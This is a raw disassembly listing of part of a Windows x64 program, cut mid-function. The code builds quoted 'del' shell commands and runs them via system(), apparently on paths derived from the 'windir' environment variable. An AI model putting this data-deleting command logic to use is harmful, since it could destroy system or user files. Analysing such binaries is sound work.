cmova r14, qword [rbp - 0x70]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov r12, qword [rbp - 0x60]
lea rsi, [r12 + 5]
mov ebx, 0xf
lea rdi, [rsp + 0x30]
cmp rsi, rbx
jbe 0x1400023b1
mov rbx, rsi
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
jbe 0x140002372
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140003200
test rax, rax
je 0x14000250b
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400023ac
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14000239b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002906
jmp 0x140002353
test rcx, rcx
je 0x1400023aa
call fcn.140003200
mov rdi, rax
jmp 0x1400023ac
xor edi, edi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rbx
mov eax, dword [str.del__]
mov dword [rdi], eax
movzx eax, byte [0x1400056e8]
mov byte [rdi + 4], al
lea rcx, [rdi + 5]
mov r8, r12
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
mov esi, 1
cmp rax, rsi
jb 0x14000241f
lea rax, [rcx + 1]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x30]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x30]
mov word [rax + rcx], 0x22
lea rax, [rsp + 0x30]
jmp 0x140002438
mov qword [rsp + 0x20], rsi
lea r9, [0x1400056e0]
mov rdx, rsi
lea rcx, [rsp + 0x30]
call fcn.140002da0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rcx, qword [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1400024c4
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400024bf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400024bf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000330c
movdqa xmm0, xmmword [0x1400056f0]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140002517
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002512
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002512
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000330c
lea r12, [rbp + 0x10]
cmp qword [rbp - 0x50], 0xf
cmova r12, r15
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
lea r14, [r13 + 5]
mov ebx, 0xf
lea rdi, [rsp + 0x30]
cmp r14, rbx
jbe 0x1400025d1
mov rbx, r14
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
jbe 0x140002592
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140003200
test rax, rax
je 0x140002726
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400025cc
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1400025bb
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000290c
jmp 0x140002573
test rcx, rcx
je 0x1400025ca
call fcn.140003200
mov rdi, rax
jmp 0x1400025cc
xor edi, edi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], rbx
mov eax, dword [str.del__]
mov dword [rdi], eax
movzx eax, byte [0x1400056e8]
mov byte [rdi + 4], al
lea rcx, [rdi + 5]
mov r8, r13
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r14], 0
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 1
jb 0x14000263c
lea rax, [rcx + 1]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x30]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x30]
mov word [rax + rcx], 0x22
lea rax, [rsp + 0x30]
jmp 0x140002655
mov qword [rsp + 0x20], rsi
lea r9, [0x1400056e0]
mov rdx, rsi
lea rcx, [rsp + 0x30]
call fcn.140002da0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
xor edi, edi
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], dil
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rcx, qword [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1400026df
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400026da
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400026da
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000330c
movdqa xmm0, xmmword [0x1400056f0]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], dil
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140002732
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000272d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000272d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000330c
mov esi, edi
mov rax, qword [rbp - 0x50]
cmp rax, 0xf
jbe 0x140002773
lea rdx, [rax + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x14000276a
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000276a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r15
call fcn.14000330c
nop
mov rax, qword [rbp - 0x68]
cmp rax, 0xf
jbe 0x1400027dc
lea rdx, [rax + 1]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400027ad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400027ad
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000330c
jmp 0x1400027dc
lea rdx, str.Failed_to_get_windir_environment_variable.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002a00
mov rcx, rax
lea rdx, [0x140002bd0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov esi, 1
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x140002864
mov rdx, qword [rbp - 0x40]
call fcn.140002d10
mov rdx, qword [rbp - 0x38]
mov rcx, qword [rbp - 0x48]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002829
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002829
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000330c
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x38], rdi
jmp 0x140002864
lea rdx, str.Failed_to_find_the_parent_directory.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002a00
mov rcx, rax
lea rdx, [0x140002bd0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov esi, 1
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x1400028a2
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000289d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000289d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000330c
mov eax, esi
mov rcx, qword [rbp + 0x250]
xor rcx, rsp
call fcn.1400031e0
lea r11, [rsp + 0x3a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400011a0
nop
call fcn.140001100
int3
call fcn.140001100
int3
call fcn.140001100
int3
call fcn.140001100
int3
call fcn.140001100
int3
call fcn.140001100
nop
call fcn.140001100
int3
call fcn.1400011a0
nop
call fcn.1400011a0
int3